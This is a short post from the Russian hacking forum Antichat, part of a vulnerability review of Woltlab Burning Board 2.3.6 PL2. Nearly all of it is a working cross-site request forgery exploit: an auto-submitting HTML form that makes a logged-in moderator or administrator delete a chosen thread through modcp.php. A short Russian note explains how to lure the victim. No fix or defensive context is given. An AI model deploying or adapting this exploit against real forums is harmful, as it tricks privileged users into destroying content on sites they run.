Форум АНТИЧАТ - Показать сообщение отдельно - [Обзор уязвимостей Woltlab Burning Board + Lite]

XSRF Vulnerability

Vulnerable: Woltlab Burning Board 2.3.6 PL2

Код HTML:

<html>
<head>
</head>
<body onLoad="javascript:document.it.submit()">
<form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it">
<input type="hidden" name="action" value="thread_del" />
<input type="hidden" name="threadid" value="5" /> <!-- Здесь id темы-->

<input type="hidden" name="send" value="send" />
<input type="hidden" name="sid" value="" />
<input type="submit" accesskey="S" value="Ja" class="input" />
</body>
</html>

Атакующий может отправить администратору/модератору ссылку на страницу с вышеописанным кодом и тогда тема с указанным id будет удалена.